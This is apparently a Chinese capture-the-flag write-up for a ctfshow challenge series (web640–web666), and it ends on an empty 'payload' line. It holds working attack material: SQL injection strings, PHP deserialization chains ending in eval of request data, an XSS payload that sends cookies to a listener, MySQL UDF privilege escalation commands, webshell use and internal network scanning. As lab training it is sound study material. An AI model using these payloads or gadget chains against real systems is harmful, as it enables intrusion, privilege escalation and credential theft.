web640
访问网页即可
web641
flag在响应头中
web642
查看html代码中有路径system36d
访问该路径
web643
扫描该目录,发现文件secret.txt
web644
跳转到login.php,是一个前端js加密的锁,密码为0x36d
也可以在js代码中找到flag,跳转页面checklogin.php?s=10
web645
通过数据备份功能,下载备份文件
web646
通过网络测试功能处,获取到绝对路径
通过扫描目录,发现robots.txt文件
访问source.txt文件,发现是用户管理和网络测试处的源码信息
include 'init.php';
function addUser($data,$username,$password){
$ret = array(
'code'=>0,
'message'=>'添加成功'
);
if(existsUser($data,$username)==0){
$s = $data.$username.'@'.$password.'|';
file_put_contents(DB_PATH, $s);
}else{
$ret['code']=-1;
$ret['message']='用户已存在';
}
return json_encode($ret);
}
function updateUser($data,$username,$password){
$ret = array(
'code'=>0,
'message'=>'更新成功'
);
if(existsUser($data,$username)>0 && $username!='admin'){
$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', $username.'@'.$password.'|', $data);
file_put_contents(DB_PATH, $s);
}else{
$ret['code']=-1;
$ret['message']='用户不存在或无权更新';
}
return json_encode($ret);
}
function delUser($data,$username){
$ret = array(
'code'=>0,
'message'=>'删除成功'
);
if(existsUser($data,$username)>0 && $username!='admin'){
$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', '', $data);
file_put_contents(DB_PATH, $s);
}else{
$ret['code']=-1;
$ret['message']='用户不存在或无权删除';
}
return json_encode($ret);
}
function existsUser($data,$username){
return preg_match('/'.$username.'@[0-9a-zA-Z]+\|/', $data);
}
function initCache(){
return file_exists('cache.php')?:file_put_contents('cache.php','<!-- ctfshow-web-cache -->');
}
function clearCache(){
shell_exec('rm -rf cache.php');
return 'ok';
}
function flushCache(){
if(file_exists('cache.php') && file_get_contents('cache.php')===false){
return FLAG646;
}else{
return '';
}
}
function netTest($cmd){
$ret = array(
'code'=>0,
'message'=>'命令执行失败'
);
if(preg_match('/ping ((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}/', $cmd)){
$res = shell_exec($cmd);
stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
}
if(preg_match('/^[A-Za-z]+$/', $cmd)){
$res = shell_exec($cmd);
stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
}
return json_encode($ret);
}
分析代码,发现网络测试功能处的命令执行做了限制,只允许ping加ip形式,或者是全字母形式。
FLAG646显然是定义在init.php文件中。
远程更新功能处存在SSRF漏洞,可以使用file协议读取文件
web647
使用命令执行功能查看目录下文件
再使用SSRF读取文件users.php
<?php
error_reporting(0);
session_start();
include 'init.php';
$a=$_GET['action'];
$data = file_get_contents(DB_PATH);
$ret = '';
switch ($a) {
case 'list':
$ret = getUsers($data,intval($_GET['page']),intval($_GET['limit']));
break;
case 'add':
$ret = addUser($data,$_GET['username'],$_GET['password']);
break;
case 'del':
$ret = delUser($data,$_GET['username']);
break;
case 'update':
$ret = updateUser($data,$_GET['username'],$_GET['password']);
break;
case 'backup':
backupUsers();
break;
case 'upload':
$ret = recoveryUsers();
break;
case 'phpInfo':
$ret = phpInfoTest();
break;
case 'netTest':
$ret = netTest($_GET['cmd']);
break;
case 'remoteUpdate':
$ret = remoteUpdate($_GET['auth'],$_GET['update_address']);
break;
case 'authKeyValidate':
$ret = authKeyValidate($_GET['auth']);
break;
case 'evilString':
evilString($_GET['m']);
break;
case 'evilNumber':
evilNumber($_GET['m'],$_GET['key']);
break;
case 'evilFunction':
evilFunction($_GET['m'],$_GET['key']);
break;
case 'evilArray':
evilArray($_GET['m'],$_GET['key']);
break;
case 'evilClass':
evilClass($_GET['m'],$_GET['key']);
break;
default:
$ret = json_encode(array(
'code'=>0,
'message'=>'数据获取失败',
));
break;
}
echo $ret;
function getUsers($data,$page=1,$limit=10){
$ret = array(
'code'=>0,
'message'=>'数据获取成功',
'data'=>array()
);
$isadmin = '否';
$pass = '';
$content='无';
$users = explode('|', $data);
array_pop($users);
$index = 1;
foreach ($users as $u) {
if(explode('@', $u)[0]=='admin'){
$isadmin = '是';
$pass = 'flag就是管理员的密码,不过我隐藏了';
$content = '删除此条记录后flag就会消失';
}else{
$pass = explode('@', $u)[1];
}
array_push($ret['data'], array(
'id'=>$index,
'username'=>explode('@', $u)[0],
'password'=>$pass,
'isAdmin'=>$isadmin,
'content'=>$content
));
$index +=1;
}
$ret['count']=$index;
$start = ($page-1)*$limit;
$ret['data']=array_slice($ret['data'], $start,$limit,true);
return json_encode($ret);
}
function addUser($data,$username,$password){
$ret = array(
'code'=>0,
'message'=>'添加成功'
);
if(existsUser($data,$username)==0){
$s = $data.$username.'@'.$password.'|';
file_put_contents(DB_PATH, $s);
}else{
$ret['code']=-1;
$ret['message']='用户已存在';
}
return json_encode($ret);
}
function updateUser($data,$username,$password){
$ret = array(
'code'=>0,
'message'=>'更新成功'
);
if(existsUser($data,$username)>0 && $username!='admin'){
$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\\|/', $username.'@'.$password.'|', $data);
file_put_contents(DB_PATH, $s);
}else{
$ret['code']=-1;
$ret['message']='用户不存在或无权更新';
}
return json_encode($ret);
}
function delUser($data,$username){
$ret = array(
'code'=>0,
'message'=>'删除成功'
);
if(existsUser($data,$username)>0 && $username!='admin'){
$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\\|/', '', $data);
file_put_contents(DB_PATH, $s);
}else{
$ret['code']=-1;
$ret['message']='用户不存在或无权删除';
}
return json_encode($ret);
}
function existsUser($data,$username){
return preg_match('/'.$username.'@[0-9a-zA-Z]+\\|/', $data);
}
function backupUsers(){
$file_name = DB_PATH;
if (! file_exists ($file_name )) {
header('HTTP/1.1 404 NOT FOUND');
} else {
$file = fopen ($file_name, "rb" );
Header ( "Content-type: application/octet-stream" );
Header ( "Accept-Ranges: bytes" );
Header ( "Accept-Length: " . filesize ($file_name));
Header ( "Content-Disposition: attachment; filename=backup.dat");
echo str_replace(FLAG645, 'flag就在这里,可惜不能给你', fread ( $file, filesize ($file_name)));
fclose ( $file );
exit ();
}
}
function getArray($total, $times, $min, $max)
{
$data = array();
if ($min * $times > $total) {
return array();
}
if ($max * $times < $total) {
return array();
}
while ($times >= 1) {
$times--;
$kmix = max($min, $total - $times * $max);
$kmax = min($max, $total - $times * $min);
$kAvg = $total / ($times + 1);
$kDis = min($kAvg - $kmix, $kmax - $kAvg);
$r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2;
$k = round($kAvg + $r);
$total -= $k;
$data[] = $k;
}
return $data;
}
function recoveryUsers(){
$ret = array(
'code'=>0,
'message'=>'恢复成功'
);
if(isset($_FILES['file']) && $_FILES['file']['size']<1024*1024){
$file_name= $_FILES['file']['tmp_name'];
$result = move_uploaded_file($file_name, DB_PATH);
if($result===false){
$ret['message']='数据恢复失败 file_name'.$file_name.' DB_PATH='.DB_PATH;
}
}else{
$ret['message']='数据恢复失败';
}
return json_encode($ret);
}
function phpInfoTest(){
return phpinfo();
}
function authKeyValidate($auth){
$ret = array(
'code'=>0,
'message'=>$auth==substr(FLAG645, 8)?'验证成功':'验证失败',
'status'=>$auth==substr(FLAG645, 8)?'0':'-1'
);
return json_encode($ret);
}
function remoteUpdate($auth,$address){
$ret = array(
'code'=>0,
'message'=>'更新失败'
);
if($auth!==substr(FLAG645, 8)){
$ret['message']='权限key验证失败';
return json_encode($ret);
}else{
$content = file_get_contents($address);
$ret['message']=($content!==false?$content:'地址不可达');
}
return json_encode($ret);
}
function evilString($m){
$key = '372619038';
$content = call_user_func($m);
if(stripos($content, $key)!==FALSE){
echo shell_exec('cat /FLAG/FLAG647');
}else{
echo 'you are not 372619038?';
}
}
function evilClass($m,$k){
class ctfshow{
public $m;
public function construct($m){
$this->$m=$m;
}
}
$ctfshow=new ctfshow($m);
$ctfshow->$m=$m;
if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){
echo shell_exec('cat /FLAG/FLAG648');
}else{
echo 'mmmmm?';
}
}
function evilNumber($m,$k){
$number = getArray(1000,20,10,999);
if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){
echo shell_exec('cat /FLAG/FLAG649');
}else{
echo 'number is right?';
}
}
function evilFunction($m,$k){
$key = 'ffffffff';
$content = call_user_func($m);
if(stripos($content, $key)!==FALSE && $k==shell_exec('cat /FLAG/FLAG649')){
echo shell_exec('cat /FLAG/FLAG650');
}else{
echo 'you are not ffffffff?';
}
}
function evilArray($m,$k){
$arrays=unserialize($m);
if($arrays!==false){
if(array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) && $k==shell_exec('cat /FLAG/FLAG650')){
echo shell_exec('cat /FLAG/FLAG651');
}else{
echo 'array?';
}
}
}
function netTest($cmd){
$ret = array(
'code'=>0,
'message'=>'命令执行失败'
);
if(preg_match('/^[A-Za-z]+$/', $cmd)){
$res = shell_exec($cmd);
stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
}
return json_encode($ret);
}
查看evilString函数处存在call_user_func,但只能传入一个参数。
设置PHPSESSID的值,再通过session_id这个无参函数可以获得指定值
flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}
web648
继续分析evilClass函数
ctfshow类的定义处,construct魔术方法中使用的是$ctfshow->$m
而不是$ctfshow->m
,当出现类中没有的变量时,会自动添加一个该变量,如下图所示
所以任意传入m值即可。
flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}
web649
继续分析evilNumber函数
getArray函数会生成长度为20的数组number,要求传入m值与number[m]相等。
不传m值,即可使m值为NULL
flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}
web650
继续分析evilFunction函数
同样利用session_id函数,使content为ffffffff
flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}
web651
继续分析evilArray函数
array_key_exists函数传入类也是可以的
生成反序列化payload
<?php
class devil{
public $username;
public function __construct($username)
{
$this->username=$username;
}
}
echo serialize(new devil("ctfshow"));
flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}
web652
使用任意文件读取获取page.php源码
<?php
error_reporting(0);
include __DIR__.DIRECTORY_SEPARATOR.'system36d/util/dbutil.php';
$id = isset($_GET['id'])?$_GET['id']:'1';
//转义' " 来实现防注入
$id = addslashes($id);
$name = db::get_username($id);
?>
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>欢迎<?=$name;?>,开启你的ctfshow GAME吧</title>
<link rel='stylesheet' href='/static/css/page.css'>
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Montserrat&display=swap"rel="stylesheet'><link rel="stylesheet" href="/static/css/page_style.css">
</head>
<body>
<!-- partial:index.partial.html -->
<div class="app">
<div class="cardList">
<button class="cardList__btn btn btn--left">
<div class="icon">
<svg>
<use xlink:href="#arrow-left"></use>
</svg>
</div>
</button>
<div class="cards__wrapper">
<div class="card current--card">
<div class="card__image">
<img src="/static/images/1.jpg" alt="" />
</div>
</div>
<div class="card next--card">
<div class="card__image">
<img src="/static/images/2.jpg" alt="" />
</div>
</div>
<div class="card previous--card">
<div class="card__image">
<img src="/static/images/3.jpg" alt="" />
</div>
</div>
</div>
<button class="cardList__btn btn btn--right">
<div class="icon">
<svg>
<use xlink:href="#arrow-right"></use>
</svg>
</div>
</button>
</div>
<div class="infoList">
<div class="info__wrapper">
<div class="info current--info">
<h1 class="text name">挑战</h1>
<h4 class="text location">挑战永不停止</h4>
<p class="text description">Adventure is never far away</p>
</div>
<div class="info next--info">
<h1 class="text name">勤奋</h1>
<h4 class="text location">我每天都在努力工作,为的是能够使所有爱我的人以我为荣!</h4>
<p class="text description">I work hard everyday so that all who love me will be proud of me!</p>
</div>
<div class="info previous--info">
<h1 class="text name">坚持</h1>
<h4 class="text location">不积跬步,无以至千里</h4>
<p class="text description">Let your dreams come true</p>
</div>
</div>
</div>
<div class="app__bg">
<div class="app__bg__image current--image">
<img src="/static/images/1.jpg" alt="" />
</div>
<div class="app__bg__image next--image">
<img src="/static/images/2.jpg" alt="" />
</div>
<div class="app__bg__image previous--image">
<img src="/static/images/3.jpg" alt="" />
</div>
</div>
</div>
<div class="loading__wrapper">
<div class="loader--text">Loading...</div>
<div class="loader">
<span></span>
</div>
</div>
<svg class="icons" style="display: none;">
<symbol id="arrow-left" xmlns='http://www.w3.org/2000/svg' viewBox='0 0 512 512'>
<polyline points='328 112 184 256 328 400'
style='fill:none;stroke:#fff;stroke-linecap:round;stroke-linejoin:round;stroke-width:48px' />
</symbol>
<symbol id="arrow-right" xmlns='http://www.w3.org/2000/svg' viewBox='0 0 512 512'>
<polyline points='184 112 328 256 184 400'
style='fill:none;stroke:#fff;stroke-linecap:round;stroke-linejoin:round;stroke-width:48px' />
</symbol>
</svg>
<!-- partial -->
<script src='/static/js/imagesloaded.pkgd.min.js'></script>
<script src='/static/js/gsap.min.js'></script>
<script src="/static/js/script.js"></script>
</body>
</html>
system36d/util/dbutil.php源码
<?php
class db{
private static $host='localhost';
private static $username='root';
private static $password='root';
private static $database='ctfshow';
private static $conn;
public static function get_key(){
$ret = '';
$conn = self::get_conn();
$res = $conn->query('select `key` from ctfshow_keys');
if($res){
$row = $res->fetch_array(MYSQLI_ASSOC);
}
$ret = $row['key'];
self::close();
return $ret;
}
public static function get_username($id){
$ret = '';
$conn = self::get_conn();
$res = $conn->query("select `username` from ctfshow_users where id = ($id)");
if($res){
$row = $res->fetch_array(MYSQLI_ASSOC);
}
$ret = $row['username'];
self::close();
return $ret;
}
private static function get_conn(){
if(self::$conn==null){
self::$conn = new mysqli(self::$host, self::$username, self::$password, self::$database);
}
return self::$conn;
}
private static function close(){
if(self::$conn!==null){
self::$conn->close();
}
}
}
这里对引号进行了转义,但是使用的括号进行闭合
构造sql注入的payload
?id=0)%20union%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+
?id=0)%20union%20select%20*%20from%20ctfshow_secret--+
flag_652=ctfshow{4b37ab4b6504d43ea0de9a688f0e3ffa}
web653
init.php
<?php
define('DB_PATH', __DIR__.'/db/data_you_never_know.db');
define('FLAG645','flag645=ctfshow{28b00f799c2e059bafaa1d6bda138d89}');
define('FLAG646','flag646=ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}');
//存在漏洞,未修补前注释掉
//include 'util/common.php';
util/common.php
<?php
include 'dbutil.php';
if($_GET['k']!==shell_exec('cat /FLAG/FLAG651')){
die('651flag未拿到');
}
if(isset($_POST['file']) && file_exists($_POST['file'])){
if(db::get_key()==$_POST['key']){
include __DIR__.DIRECTORY_SEPARATOR.$_POST['file'];
}
}
使用上题的注入点获取key
?id=0)%20union%20select`key`from%20ctfshow_keys--+
common.php中存在一个任意文件包含,需要找到可以控制写的文件。
/db/data_you_never_know.db这个文件是存储数据库信息的,
使用数据还原功能,修改db数据库内容
使用蚁剑连接shell
地址:https://f6b4bb4c-d634-4733-8975-41c98fa47e08.challenge.ctf.show/system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}
密码:1
使用虚拟终端功能,读取/secret.txt文件
flag_653=ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}
web654
在/etc目录下发现sudoers.bak文件,正常sudoers文件需要root权限进行读取,这里留有备份文件,显然有问题。查看内容后发现最后一行
mysql ALL=(ALL:ALL) NOPASSWD:ALL
mysql用户拥有特殊权限
利用之前的数据库账号密码,使用udf提权。
使用sqlmap中的udf64.so
sqlmap-dev\data\udf\mysql\linux\64\lib_mysqludf_sys.so_
这个文件是混淆过的,需要使用自带脚本解码
python extra/cloak/cloak.py -d -i data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o udf64.so
使用sql语句查询插件目录
show variables like "%plugin%";
返回/usr/lib/mariadb/plugin/
上传udf64.so后,移动到/usr/lib/mariadb/plugin/udf64.so
这里使用蚁剑执行数据库命令时没有响应,改用冰蝎连接数据库。
执行sql语句创建自定义函数
create function sys_eval returns string soname 'udf64.so';
select sys_eval('sudo chmod 777 /root');
这里执行没有回显,所以直接修改root目录权限,然后用普通用户去读取文件。
flag_654=ctfshow{4ab2c2ccd0c3c35fdba418d8502f5da9}
web655
查看内网地址为172.2.235.4
每次打开环境生成得ip不一样,所以后面截图可能会有其它地址。
上传fscan扫描C段
发现172.2.141.5
上开了许多服务,且存在备份文件泄露
再扫一下目录发现存在phpinfo.php
wget http://172.2.92.5/phpinfo.php
里面含有flag
flag_655=ctfshow{aada21bce99ddeab20020ac714686303}
web656
将www.zip也下载下来分析,里面只有一个index.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-08-04 15:54:48
# @Last Modified by: h1xa
# @Last Modified time: 2021-08-05 00:43:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include 'dbutil.php';
include 'flag.php';
error_reporting(0);
session_start();
$a=$_GET['action'];
switch ($a){
case 'login':
$ret = login($_GET['u'],$_GET['p']);
break;
case 'index':
$ret = index();
break;
case 'main':
$ret = main($_GET['m']);
break;
default:
$ret = json_encode(array(
'code'=>0,
'message'=>'数据获取失败',
));
break;
}
echo $ret;
function index(){
$html='管理员请注意,下面是最近登陆失败用户:<br>';
$ret=db::query('select username,login_time,login_ip from ctfshow_logs order by id desc limit 3');
foreach ($ret as $r) {
$html .='------------<br>用户名: '.htmlspecialchars($r[0]).'<br>登陆失败时间: '
.$r[1]
.'<br>登陆失败IP: '
.$r[2].
'<br>------------<br>';
}
return $html;
}
function login($u,$p){
$ret = array(
'code'=>0,
'message'=>'数据获取失败',
);
$u = addslashes($u);
$p = addslashes($p);
$res = db::query("select username from ctfshow_users where username = '$u' and password = '$p'");
$date = new DateTime('now');
$now = $date->format('Y-m-d H:i:s');
$ip = addslashes(gethostbyname($_SERVER['HTTP_X_FORWARDED_FOR']));
if(count($res)==0){
db::insert("insert into `ctfshow_logs` (`username`,`login_time`,`login_ip`) values ('$u','$now','$ip')");
$ret['message']='账号或密码错误';
return json_encode($ret);
}
if(!auth()){
$ret['message']='AuthKey 错误';
}else{
$ret['message']='登陆成功';
$_SESSION['login']=true;
$_SESSION['flag_660']=$_GET['flag'];
}
return json_encode($ret);
}
function auth(){
$auth = base64_decode($_COOKIE['auth']);
return $auth==AUTH_KEY;
}
function getFlag(){
return FLAG_657;
}
function testFile($f){
$result = '';
$file = $f.md5(md5(random_int(1,10000)).md5(random_int(1,10000))).'.php';
if(file_exists($file)){
$result = FLAG_658;
}
return $result;
}
function main($m){
$ret = array(
'code'=>0,
'message'=>'数据获取失败',
);
if($_SESSION['login']==true){
switch ($m) {
case 'getFlag':
$ret['message']=getFlag();
break;
case 'testFile':
$ret['message']=testFile($_GET['f']);
break;
default:
# code...
break;
}
}else{
$ret['message']='请先登陆';
}
return json_encode($ret);
}
index页面只对用户名进行了转义,而登录ip我们也是可以控制得。
先写个xss的接收端
xss.php
<?php
file_put_contents("info.txt",$_GET['cookie']);
xss payload
curl -H "X-Forwarded-for:@header.txt" http://172.2.97.5/index.php?action=login&u=1&p=1
header.txt
<script>window.location.href=String.fromCharCode(104,116,116,112,58,47,47,49,55,50,46,50,46,57,55,46,52,47,120,115,115,46,112,104,112,63,99,111,111,107,105,101,61)+document.cookie;</script>
//根据需要修改地址:'http://172.2.97.4/xss.php?cookie='
查看info.txt内容,接收到cookie
PHPSESSID=15kkrpp1aoj1merne68li5n6l2; auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0=
将auth解码后得到flag
flag_656=ctfshow{e0b80d6b99d2bdbae36f121f78abe96b}
web657
使用cookie登录
蚁剑中的shell很多字符会冲突,比如; ``&
,需要进行转义
curl --cookie "PHPSESSID=15kkrpp1aoj1merne68li5n6l2" "http://172.2.97.5/index.php?action=main\&m=getFlag"
flag_657=ctfshow{2a73f8f87a58a13c23818fafd83510b1}
web658
分析testFIle函数,要求生成随机文件名,然后用file_exists()函数判断存在文件。
服务器上有python3,使用python脚本,模拟ftp应答。
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 21))
s.listen(1)
print('listening 0.0.0.0 21\n')
conn, addr = s.accept()
conn.send(b'220 a\n')
conn.send(b'230 a\n')
conn.send(b'200 a\n')
conn.send(b'200 a\n')
conn.send(b'200\n')
conn.send(b'200 a\n')
conn.send(b'200\n')
conn.send(b'200 a\n')
conn.close()
payload
curl --cookie "PHPSESSID=15kkrpp1aoj1merne68li5n6l2" "http://172.2.97.5/index.php?action=main\&m=testFile\&f=ftp://172.2.97.4/a"
flag_658=ctfshow{98555a97cb23e7413d261142e65a674f}
web659
扫描目录发现robots.txt
查看内容发现存在public目录
查看public目录
<html>
<head><title>Index of /public/</title></head>
<body>
<h1>Index of /public/</h1><hr><pre><a href="../">../</a>
<a href="Readme.txt">Readme.txt</a> 07-Aug-2021 19:51 123
</pre><hr></body>
</html>
Readme.txt内容
恭喜师傅来到第二关!
第二关相比第一关,依旧是没有难度。
glhf!
ctshow 大菜鸡
这里存在目录穿越,访问/publi../
找到FLAG目录下存在flag
wget http://172.2.97.5/public../FLAG/flag659.txt
flag_659=ctfshow{73c4213829f8b393b2082bacb4253cab}
web660
从www.zip中的index.php知道flag_660可能在log中。
if(!auth()){
$ret['message']='AuthKey 错误';
}else{
$ret['message']='登陆成功';
$_SESSION['login']=true;
$_SESSION['flag_660']=$_GET['flag'];
}
读取日志文件
wget http://172.2.97.5/public../var/log/nginx/ctfshow_web_access_log_file_you_never_know.log
找到flag
[20/Apr/2024:10:02:28 +0000]:172.2.97.6-GET /index.php HTTP/1.1-200
[20/Apr/2024:10:02:30 +0000]:172.2.97.6-GET /index.php?action=login&u=admin&p=nE7jA5m&flag=flag_660_ctfshow{23e56d95b430de80c7b5806f49a14a2b} HTTP/1.1-200
[20/Apr/2024:10:02:32 +0000]:172.2.97.6-GET /index.php?action=index HTTP/1.1-200
flag_660=ctfshow{23e56d95b430de80c7b5806f49a14a2b}
web661
wget http://172.2.97.5/public../home/flag/secret.txt
flag_661=ctfshow{d41c308e12fdecf7782eeb7c20f45352}
web662
wget http://172.2.97.5/public../home/www-data/creater.sh
creater.sh
#!/bin/sh
file=`echo $RANDOM|md5sum|cut -c 1-3`.html
echo 'flag_663=ctfshow{xxxx}' > /var/www/html/$file
生成3个随机字母名的文件
编写脚本进行爆破
import requests
list='0123456789abcdef'
for i in list:
for j in list:
for k in list:
r = requests.get(url="http://172.2.97.5/"+str(i)+str(j)+str(k)+".html").text
if("404" not in r):
print(r)
break
蚁剑中执行python脚本回显看不到,将结果写入到output.txt
使用
python3 burp.py > output.txt
flag_662=ctfshow{fa5cc1fb0bfc986d1ef150269c0de197}
web663
从phpinfo.php得到extention目录
wget http://172.2.97.5/public../usr/local/lib/php/extensions/no-debug-non-zts-20180731
目录下有个ctfshow.so
wget http://172.2.97.5/public../usr/local/lib/php/extensions/no-debug-non-zts-20180731/ctfshow.so
得到flag
flag_663=ctfshow{fa5cc1fb0bfc986d1ef150269c0de197}
web664
根据之前端口扫描结果,8888端口开放了一个oa
curl http://172.2.97.5:8888
根据链接提示,以及YII指纹信息
使用反序列化payload,参考文章https://cn-sec.com/archives/710314.html
这里payload需要两次urlencode。
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo urlencode(urlencode(serialize(new RunProcess())));
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){highlight_file('/var/oa/flag664.php');die();};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}
这里需要注意,反序列化中使用了闭包函数,参考文章https://www.anquanke.com/post/id/251366#h2-6
正常的闭包函数不可以反序列化,需要导入依赖
https://github.com/opis/closure
因为YII2中刚好使用了这个依赖,所以构造反序列化链可以使用它,主要是为了解决call_user_func()
函数只有第一个参数可控的情况。
访问获取参数名
传参根据报错信息知道还要传入key
并且下面泄露了nginx和yii2的版本号
payload
echo `curl "http://172.2.170.5:8888/index.php?r=site%2Funserialize%26key=flag_663=ctfshow\{fa5cc1fb0bfc986d1ef150269c0de197\}" -d "UnserializeForm[ctfshowUnserializeData]=O%253A32%253A%2522Codeception%255CExtension%255CRunProcess%2522%253A2%253A%257Bs%253A9%253A%2522%2500%252A%2500output%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bs%253A5%253A%2522jiang%2522%253B%257Ds%253A43%253A%2522%2500Codeception%255CExtension%255CRunProcess%2500processes%2522%253Ba%253A1%253A%257Bi%253A0%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253BO%253A28%253A%2522GuzzleHttp%255CPsr7%255CAppendStream%2522%253A2%253A%257Bs%253A37%253A%2522%2500GuzzleHttp%255CPsr7%255CAppendStream%2500streams%2522%253Ba%253A1%253A%257Bi%253A0%253BO%253A29%253A%2522GuzzleHttp%255CPsr7%255CCachingStream%2522%253A2%253A%257Bs%253A43%253A%2522%2500GuzzleHttp%255CPsr7%255CCachingStream%2500remoteStream%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bb%253A0%253B%257Ds%253A6%253A%2522stream%2522%253BO%253A26%253A%2522GuzzleHttp%255CPsr7%255CPumpStream%2522%253A3%253A%257Bs%253A34%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500source%2522%253BC%253A32%253A%2522Opis%255CClosure%255CSerializableClosure%2522%253A212%253A%257Ba%253A5%253A%257Bs%253A3%253A%2522use%2522%253Ba%253A0%253A%257B%257Ds%253A8%253A%2522function%2522%253Bs%253A57%253A%2522function%2528%2529%257B%255Chighlight_file%2528%2527%252Fvar%252Foa%252Fflag664.php%2527%2529%253Bdie%2528%2529%253B%257D%2522%253Bs%253A5%253A%2522scope%2522%253Bs%253A26%253A%2522GuzzleHttp%255CPsr7%255CPumpStream%2522%253Bs%253A4%253A%2522this%2522%253BN%253Bs%253A4%253A%2522self%2522%253Bs%253A32%253A%2522000000003e2c05af0000000026b075cb%2522%253B%257D%257Ds%253A32%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500size%2522%253Bi%253A-10%253Bs%253A34%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500buffer%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bs%253A1%253A%2522j%2522%253B%257D%257D%257D%257Ds%253A38%253A%2522%2500GuzzleHttp%255CPsr7%255CAppendStream%2500seekable%2522%253Bb%253A1%253B%257D%257D%257D%257D
"`;
flag_664=ctfshow{35802d184dba134bdc8d0d23e09051f7}
web665
wget http://172.2.97.5/public../FLAG665
flag_665=ctfshow{35802d184dba134bdc8d0d23e09051f7}
web666
flag在oa主机的数据库中
使用前面的反序列化漏洞执行任意命令。
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo urlencode(urlencode(serialize(new RunProcess())));
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){eval(base64_decode($_REQUEST["x"]));die();};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}
sql.php
$conn = new mysqli('localhost','root','root','ctfshow');
$res = $conn->query("select * from ctfshow_secret");
if($res){
$row=$res->fetch_array(MYSQLI_BOTH);
}
echo $row[0];
$conn->close();
将sql.php进行base64后,再urlencode两次,传入x参数。
payload
